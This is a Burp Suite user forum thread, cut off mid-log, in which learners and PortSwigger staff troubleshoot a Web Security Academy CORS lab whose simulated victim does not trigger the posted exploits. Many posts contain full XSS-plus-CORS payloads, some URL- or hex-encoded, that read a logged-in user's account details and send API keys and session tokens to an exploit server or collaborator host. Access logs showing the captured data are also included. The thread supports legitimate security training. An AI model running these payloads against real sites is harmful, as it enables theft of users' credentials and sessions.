Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Faulty Lab: "CORS vulnerability with trusted insecure protocols"

Nemeses5174 | Last updated: Dec 30, 2023 03:22PM UTC

Hi, maybe there is bug inside the laboratory "CORS vulnerability with trusted insecure protocols". The following exploit script works with Burp's Chrome: <script> document.location = "https://stock.[LAB-ID].web-security-academy.net/?storeId=hi&productId=%27%3Cscript%3E+function+submitRequest%28%29+%7B+var+xhr+%3D+new+XMLHttpRequest%28%29%3B+xhr.open%28%22GET%22%2C+%22https%3A%5C%2F%5C%2F[LAB-ID].web-security-academy.net%5C%2FaccountDetails%22%2C+true%29%3B+xhr.withCredentials+%3D+true%3B+xhr.onload+%3D+%28%29+%3D%3E+%7B+document.location+%3D+%22https%3A%2F%2F[EXPLOIT-SERVER-ID].exploit-server.net%2F%3Fabcd%3D%22+%2B+xhr.responseText%3B+%7D%3B+xhr.send%28%29%3B+%7D+submitRequest%28%29%3B+%3C%2Fscript%3E%27" </script> The secret admin API-KEY will be recorded in the exploit server's log page. BUT the exploit script above does NOT work when I deliver it to the victim (the victim open the exploit page but the api-key is not recorded in the exploit-server's log page). If I use the solution code (very similar to the one above) everything works great. Maybe a bug in the laboratory? Have a good day.

Ben, PortSwigger Agent | Last updated: Jan 09, 2024 09:39AM UTC

Hi, To confirm, does your exploit work when you use the 'View exploit' functionality i.e. you land on the log page and your users API key is in the URL?

Łukasz | Last updated: Mar 11, 2024 03:00PM UTC

Also don't get it but it appears that URL encoding messes this up, while I tried: <script> document.location="http://stock.0afc00d603b5d54082d510900049005b.web-security-academy.net/?productId=4%3cscript>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0afc00d603b5d54082d510900049005b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0af300790394d58f82b60f24012b00d4.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> (so only one < at first script element encoded more) it also didn't work but using exact option from solution worked: <script> document.location="http://stock.0afc00d603b5d54082d510900049005b.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0afc00d603b5d54082d510900049005b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0af300790394d58f82b60f24012b00d4.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>

Ben, PortSwigger Agent | Last updated: Mar 12, 2024 11:23AM UTC

Hi Łukasz, Your proposed exploit appears to work for me and allows me to obtain the administrator users API key for this particular lab. Are you seeing no interactions from the victim user in the access logs when you deliver this?

Ben | Last updated: Jun 25, 2024 04:24PM UTC

I am seeing no interactions from the victim user in this lab, including just browsing to the /exploit page on the victim server.

Ben, PortSwigger Agent | Last updated: Jun 25, 2024 04:35PM UTC

Hi Ben, Are you able to provide us with details of what your exploit looks like?

Ben | Last updated: Jun 25, 2024 07:52PM UTC

<script> document.location = "https://stock.0a4700a403f4a8ed81e5e48b0062004e.web-security-academy.net/?productId=%3Cscript%3Efetch%28%27https%3A%2F%2F0a4700a403f4a8ed81e5e48b0062004e%2Eweb%2Dsecurity%2Dacademy%2Enet%2FaccountDetails%27%2C%20%7B%0A%20%20mode%3A%20%27cors%27%2C%0A%20%20credentials%3A%20%27include%27%0A%7D%29%2Ethen%28response%20%3D%3E%20%7Breturn%20response%2Etext%28%29%3B%7D%29%0A%20%20%2Ethen%28text%20%3D%3E%20%7B%0A%20%20%20%20const%20json%20%3D%20JSON%2Eparse%28text%29%3B%0A%20%20%20%20fetch%28%60https%3A%2F%2Fexploit-0a120022030aa8c081dee31001cb00b1%2Eexploit%2Dserver%2Enet%2F%3F%24%7Bjson%2Eapikey%7D%60%2C%20%7B%0A%09mode%3A%20%27no%2Dcors%27%0A%20%20%20%20%7D%29%0A%7D%29%3C%2Fscript%3E&storeId=1" </script> This payload works when I test myself. It doesn't work for the victim. Also, using HTTP isn't working as the session cookie has the "Secure" flag set.

Ben, PortSwigger Agent | Last updated: Jun 26, 2024 07:42AM UTC

Hi Ben, Have you tried using the written solution in its entirety?

Ben | Last updated: Jun 26, 2024 01:58PM UTC

Yes. It still doesn't work. I'm replacing the lab ID and exploit server ID as instructed. My access log is the following: [MY-IP] 2024-06-26 13:53:07 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:07 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:45 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:45 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:47 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:47 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:52 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:52 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:53 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:56 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:56 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:03 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:03 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:59 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:54:59 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:01 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:01 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:03 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:04 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:04 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:06 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:16 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:16 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:18 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:18 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:21 +0000 "POST / HTTP/1.1" 302 "user-agent: ... No interactions from the victim, they are not viewing the exploit at all

Ben, PortSwigger Agent | Last updated: Jun 26, 2024 04:18PM UTC

Hi Ben, I ran through this lab earlier today using a standard version of Chrome and was able to solve it using the solution provided so it does appear to be working as expected. Which browser are you using and what does your exploit now look like?

whiteTea | Last updated: Jul 05, 2024 01:06PM UTC

I can confirm that the laboratory is not working properly. My pure XHR-Code: ``` <script> const req = new XMLHttpRequest(); req.withCredentials = true; req.open('get', 'https://0ae500ac049cf9d580f45df6001e0007.web-security-academy.net/accountDetails', true); req.onload = reqListener; req.send(); function reqListener() { window.location = "https://exploit-0aab00a704f6f9de808b5c1c01fa0096.exploit-server.net/jrn?key=" + req.responseText; } </script> ``` Encode the above part: %3c%73%63%72%69%70%74%3e%0a%20%20%20%20%63%6f%6e%73%74%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%20%20%20%20%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%20%27%68%74%74%70%73%3a%2f%2f%30%61%65%35%30%30%61%63%30%34%39%63%66%39%64%35%38%30%66%34%35%64%66%36%30%30%31%65%30%30%30%37%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%20%20%20%20%72%65%71%2e%73%65%6e%64%28%29%3b%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%61%62%30%30%61%37%30%34%66%36%66%39%64%65%38%30%38%62%35%63%31%63%30%31%66%61%30%30%39%36%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6a%72%6e%3f%6b%65%79%3d%22%20%2b%20%72%65%71%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%20%20%20%20%7d%0a%3c%2f%73%63%72%69%70%74%3e Encoded added to the final URL: ``` ``` If I test it via "View Exploit" I can see my API-Key: === Log-Server === 89.247.171.246 2024-07-05 13:03:36 +0000 "GET /jrn?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22jZ0MFaQIffRf1p9KOoJDWn7W0MxdMf6V%22,%20%20%22sessions%22:%20[%20%20%20%20%22u4hW4BLhysbfkMEIewbVhDnY2B0NmOaK%22%20%20]} HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" But if i "Deliver exploit to victim", then i got only: 10.0.4.249 2024-07-05 13:05:28 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" So victim is visiting the site, but no apikey there.

whiteTea | Last updated: Jul 05, 2024 01:08PM UTC

Edit: The exploit-body: ``` <script> window.location = "https://stock.0ae500ac049cf9d580f45df6001e0007.web-security-academy.net/?productId=1%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%63%6f%6e%73%74%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%20%20%20%20%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%20%27%68%74%74%70%73%3a%2f%2f%30%61%65%35%30%30%61%63%30%34%39%63%66%39%64%35%38%30%66%34%35%64%66%36%30%30%31%65%30%30%30%37%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%20%20%20%20%72%65%71%2e%73%65%6e%64%28%29%3b%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%61%62%30%30%61%37%30%34%66%36%66%39%64%65%38%30%38%62%35%63%31%63%30%31%66%61%30%30%39%36%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6a%72%6e%3f%6b%65%79%3d%22%20%2b%20%72%65%71%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%20%20%20%20%7d%0a%3c%2f%73%63%72%69%70%74%3e&storeId=1" </script> ```

Ben, PortSwigger Agent | Last updated: Jul 05, 2024 01:15PM UTC

Hi, Which lab are you referring to here? This forum post is about the 'CORS vulnerability with trusted insecure protocols' lab - the solution you have provided does not match the written solution in this particular lab. Are you having issues with a separate lab?

whiteTea | Last updated: Jul 05, 2024 01:45PM UTC

Exact this lab: "CORS vulnerability with trusted insecure protocols" My solution XSS the subdomain "stock" to fetch the /accountDetails aka apikey and send it to the exploit-server. My Code/Solution looks familiar with the Portswigger-Solution. I tried also the portswigger-solution, but in that case i got the same error =/.

whiteTea | Last updated: Jul 05, 2024 01:47PM UTC

I have encoded all the XHR stuff, so it may look different from the default solution. I receive the API key for myself, but not from the victim. Thanks for your efforts in advance.

Ben, PortSwigger Agent | Last updated: Jul 08, 2024 07:14AM UTC

Hi, I ran through that particular lab on Friday and was able to solve it using the solution provided so it does appear to be working as expected. Are you able to provide us with details of the exploit that you used when you mimicked the written solution for this lab?

Hans | Last updated: Jul 09, 2024 01:39PM UTC

Hi Ben, I am facing the same issue. Tried several times a new lab, but no success. I am using the script provided in the solution as follows: <script> document.location="http://stock.0aed0042044a1ed781b97fb100a50034.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aed0042044a1ed781b97fb100a50034.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aa400ed04e51eb681037e2901d80000.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> My observations: In Chrome Version 126.0.6478.61 (Official Build) (64-bit): View exploit works. It redirects to access log and the API key is in URL. After refresh API key is visible in the log as well. However, deliver to victim is not working. In Chrome Latest Version 126.0.6478.127 (Official Build) (64-bit): View exploit does not work. It does not redirect to the access log but stays on the page with "ERROR Invalid product ID: 4" Somehow latest version of Chrome is blocking the script from executing. Can it be that "Deliver to victim" works with latest version of Chrome in the background?

Ben, PortSwigger Agent | Last updated: Jul 11, 2024 07:07AM UTC

Hi Hans, Interestingly, I am also using the latest version of Chrome (126.0.6478.127) and both the 'View exploit' and 'Deliver exploit' functionalities are still working for me in this browser. Do you have this issue in the other CORS based labs as well?

whiteTea | Last updated: Jul 16, 2024 09:10AM UTC

Hello Ben, sry for the late response. Many labs had some delays, so i waited some days.I have tried this lab again extensively, both with the solution suggested by Portswigger and my approach with fetch. I get the same result in both cases: When I try the exploit via "View export" I see my apikey in the exploit log: 89.237.177.282 2024-07-15 18:36:48 +0000 "GET /log? key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22Qr4BcatyVgqLllJ705wrlGvEuoDLiQgh%22,%20%20%22sessions%22: %20[%20%20%20%20%22tlylDYQcVEf6bsRFD1yocqiZK6SsARL0%22,%20%20%20%20%22ltM1mg5M3m7XloWG2xj92TK04XmLBC8k%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" However, when I send it to the victim, I only see in the log that the victim has visited my site, but no apikey: 10.0.4.225 2024-07-15 18:36:59 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" Below you can see both codes that I have tried. For better readability, first the code that is injected and then the actual exploit, which is stored on /exploit: # Case 1: Portswigger Solution <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=' + this.responseText; }; </script> Exploit-Body: <script> document.location="https://stock.0a9800930432e174806d17a5003d0016.web-security-academy.net/?productId=1%3Cscript%3E%20var%20req%20=%20new%20XMLHttpRequest();%20req.onload%20=%20reqListener;%20req.open(%27get%27,%27https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails%27,true);%20req.withCredentials%20=%20true;%20req.send();%20function%20reqListener()%20{%20location=%27https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=%27%20%2b%20this.responseText;%20};%20%3C/script%3E&storeId=1" </script> # Fetch Variant <script> fetch('https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails', { method: 'GET', mode: 'cors', credentials: 'include'}). then(res => res.json()). then(data => location='https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key='+data.apikey); </script> Exploit-Body: <script> document.location="https://stock.0a9800930432e174806d17a5003d0016.web-security-academy.net/?productId=1%3Cscript%3E%20fetch(%27https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails%27,%20{%20method:%20%27GET%27,%20mode:%20%27cors%27,%20credentials:%20%27include%27}).%20then(res%20=%3E%20res.json()).%20then(data%20=%3E%20location=%27https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=%27%2bdata.apikey);%20%3C/script%3E&storeId=1" </script> # Other informations Tried it with: - Burp's embedded Browser: Version 126.0.6478.126 (Official Build) (64-bit) - Normal browser: Version 126.0.6478.126 (Official Build) built on Debian 12.5, running on Debian 6.1 (64-bit)

Ben, PortSwigger Agent | Last updated: Jul 17, 2024 10:17AM UTC

Hi, Interestingly, if I use your first exploit (making sure to alter the stock URL to use http and not https) this works for me in exactly the same version of Chrome as you. Are you having issues with various labs using your Chrome browser?

Tyla | Last updated: Jul 18, 2024 07:55AM UTC

I am also having trouble with this lab using burp browser , using this code solution and receiving this log output with no apikey : <script> document.location="http://stock.0ae500c90335edec807108e4009a0070.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ae500c90335edec807108e4009a0070.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ab5004a03a4ed67808d0754017f00a4.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> 108.204.79.86 2024-07-18 07:53:04 +0000 "POST / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:04 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:10 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:10 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:11 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:11 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36" 108.204.79.86 2024-07-18 07:53:16 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36"

Ben, PortSwigger Agent | Last updated: Jul 18, 2024 08:30AM UTC

Hi Tyla, If you use a standard version of Chrome (not the embedded browser) are you able to solve this lab?

whiteTea | Last updated: Jul 18, 2024 07:49PM UTC

Hi Ben, I have no problems with other labs using burps chrome.

Ben, PortSwigger Agent | Last updated: Jul 19, 2024 07:41AM UTC

Hi Alex, That is interesting - what about the Clickjacking labs, are you able to solve them using the embedded browser, as an example?

whiteTea | Last updated: Jul 19, 2024 09:02AM UTC

Strange. Back then, I solved the Clickjacking-tasks with embedded Chrome. But now there are problems. For the first clickjacking lab, I signed up as 'wiener'. However, when I visit the site via an iframe, I end up on the login page. It appears that the cookie is not being sent. The console displays: “Third-party cookies are blocked in Chrome as part of the Privacy Sandbox.

Michelle, PortSwigger Agent | Last updated: Jul 19, 2024 03:07PM UTC

Hi To make sure I'm looking at the right thing, can I quickly confirm, is this at step 4 of the solution for the lab 'Basic clickjacking with CSRF token protection' when you click on Store and View exploit?

whiteTea | Last updated: Jul 20, 2024 08:11AM UTC

Yes

Ben, PortSwigger Agent | Last updated: Jul 22, 2024 09:07AM UTC

Hi, If you want to use the embedded browser for these labs then you could look to alter the Privacy and security -> Tracking Protection -> Sites allowed to use third-party cookies settings to circumvent the restrictions in place (obviously, use this at your own risk).

whiteTea | Last updated: Jul 23, 2024 08:35AM UTC

Hello, this probably helps with clickjacking. For the “CORS vulnerability with trusted insecure protocols” lab, it probably won't fix the problem because we don't have control over the victim's browser.

whiteTea | Last updated: Jul 23, 2024 09:04AM UTC

Edit: Nevertheless, thanks for the tip with the ThirdParty setting. This will certainly help with client-side embedded Chrome problems :)

Charlie | Last updated: Jul 24, 2024 07:55PM UTC

Hi all! I'm currently having a similar issue with this lab. I can get the exploit to work when I click "view exploit" but when I deliver it to the victim, they only visit the exploit and they do not end up going to the log page with their information in the URL. Here is the exploit I am using: <script> window.location="https://stock.0ac900c9040d8163819c62cb005000a6.web-security-academy.net/?productId=1<script>var+req+=+new+XMLHttpRequest();req.onload+=+reqListener;req.open('get','https://0ac900c9040d8163819c62cb005000a6.web-security-academy.net/accountDetails',true);req.withCredentials+=+true;req.send();function+reqListener()+{location='https://exploit-0ac900d9041281ce81d6610001c30058.exploit-server.net/log?key='%2bthis.responseText;};%3c/script>&storeId=1"; </script> Here you can see the access log, where you can see me using the exploit and getting it to work: 136.62.247.122 2024-07-24 19:53:24 +0000 "GET /log?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22C0qSmwtJDMgDwrR4mviAn3P08OoOY3BB%22,%20%20%22sessions%22:%20[%20%20%20%20%22E0oA0SqaidimnXhQROTKCHMpzSgyGVOG%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" Followed by the victim, who does not seem to trigger the exploit: 10.0.4.129 2024-07-24 19:53:50 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"

Ben, PortSwigger Agent | Last updated: Jul 25, 2024 10:52AM UTC

Hi Charlie, Which browser are you using?

Matthew | Last updated: Jul 29, 2024 04:23PM UTC

Redirecting to a http schema on the stock subdomain is the only way I can make the remote instance make the CORS request successfully, like so: This is the payload I use to trigger XSS on http://stock.xxx.web-security-academy.net/: ```html <svg/onload='fetch("https://xxx.web-security-academy.net/accountDetails", { credentials: "include", mode: "cors" }).then(response => response.json()).then(r => fetch("https://exploit-yyy.exploit-server.net/log?q="+btoa(r.apikey)));'> ``` This is what I am storing on the exploit server: <script>document.location='http://stock.xxx.web-security-academy.net/?productId=%3Csvg%2Fonload%3D%27fetch%28%22https%3A%2F%2Fxxx%2Eweb%2Dsecurity%2Dacademy%2Enet%2FaccountDetails%22%2C%20%7B%20credentials%3A%20%22include%22%2C%20mode%3A%20%22cors%22%20%7D%29%2Ethen%28response%20%3D%3E%20%20response%2Ejson%28%29%29%2Ethen%28r%20%3D%3E%20fetch%28%22https%3A%2F%2Fexploit%2Dyyy%2Eexploit%2Dserver%2Enet%2F%2Flog%3Fq%3D%22%2Bbtoa%28r%2Eapikey%29%29%29%3B%27%3E&storeId=dsfg'</script> ``` When I view the exploit myself in the latest chrome locally it doesn't make a difference if I use http/https for the stock URL, but delivering to the headless remote it only works for http. I'm really just curious about understanding what setting is leading to this behaviour in the remote chrome instance for my own learning, would you please elaborate?

Michelle, PortSwigger Agent | Last updated: Jul 31, 2024 12:50PM UTC

Hi :) When you're just browsing around the lab normally and the check stock window pops up, it uses http. I'm afraid getting into the details of differences between setups would be slightly outside the scope of our support for the Academy but others in the community may be happy to help out.

Patryk | Last updated: Aug 18, 2024 08:30AM UTC

Hi, There are still problems with the exercise. I tried several exploits that worked on my browser but didn't work on the exploit server. It gets to the point where you're more trying to get through the lab than focusing on the goal of the exercise itself. I finally copied the solution given in the exercise, swapping the urls and the effect is the same, it works on my browser but I can't deliver the exploit to the victim. I tried to get the API key both through the exploit server and the collaborator. Below is the code. <script> document.location="http://stock.ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://ID.oastify.com/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> The code works on FF, it doesn't work on Chrome. However, considering that the exploit comes from a solution to the task, it should work on the victim's browser. Regards, Patryk

Michelle, PortSwigger Agent | Last updated: Aug 19, 2024 11:22AM UTC

Hi Patryk Which version of Burp are you using when you work on this lab? Are you able to View the exploit successfully? When you deliver the exploit to the victim, do you see any logs relating to the victim on the exploit server? If so, how many entries from the victim do you see?

Patryk | Last updated: Sep 02, 2024 06:40PM UTC

Hello Michelle, Burp version is 2024.8. Chrome and FF is updated to the current version. I am able to execute exploit on FF but not on chrome. I just tried in numerous ways to go through it once again and i failed, using my custom payloads as well as solution provided in the task. I do not see any entries from the victim. Access-Control-Allow-Origin is returned only when Origin header is in the HTTP Request, in other case only Access-Control-Allow-Credentials is available. AFAIK the only way to bypass it is to import accountdetails endpoint as a script (js/jquery), but still there is nothing to be done about it. Maybe the issue is in the CORS response header or the victim. If payload from given solution don't work on the victim browser, my chrome browser has nothing to do about it. I don't see any incoming requests from the victim on the exploit server. Regards, Patryk

Rooting | Last updated: Sep 02, 2024 07:46PM UTC

hi , i have the same problem i solved it. i just wait 1h for wait the labs resets and after payload work fine.

Scott | Last updated: Sep 15, 2024 01:40PM UTC

Hey all - I am seeing the same issue. I have tried my own payload, Rana's payload, the solution payload, and payloads from this thread. I let the lab reset twice as well. Regardless, all of these payloads work when I view the exploit myself (Burp's Chromium browser) but the victim never navigates past /expoit. There never seems to be the second GET to /log (or whatever - have tried diff paths as well) to actually expose the admin's info.

Ben, PortSwigger Agent | Last updated: Sep 18, 2024 07:15AM UTC

Hi Scott, It seems like there are some possible intermittent issues with this particular lab with regards to the 'victim' users behaviour - we may need to carry out some investigation on this on our side so that this works on a more consistent basis.

Jonathan | Last updated: Sep 29, 2024 11:36PM UTC

Hey Ben, Any updates on these issues?

Michelle, PortSwigger Agent | Last updated: Sep 30, 2024 02:26PM UTC

Hi Can I check a few details with you to confirm if the issues you're seeing relate to the original problem we were investigating? - Are you able to successfully test the exploit on yourself? - If you visit the exploit server logs, do you see any entries from the victim user? If so, what do you see?

Henri | Last updated: Oct 07, 2024 08:00PM UTC

Hello, I'am having the exact same issue than Charlie ("Charlie | Last updated: Jul 24, 2024 07:55PM UTC ").The exploit work for me but not on the victim. The victim do land and the exploit page but doesn't end up sending it's token. ``` 78.199.220.46 2024-10-07 19:54:17 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:18 +0000 "GET /log?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22JgcmfQqzgWYbUSZ7b7jhoDzrX1Ani9PV%22,%20%20%22sessions%22:%20[%20%20%20%20%22lcMk4ojxX2cymnRdXEzA2Bk47xQg7ae2%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:18 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:20 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:20 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:23 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 78.199.220.46 2024-10-07 19:54:23 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: 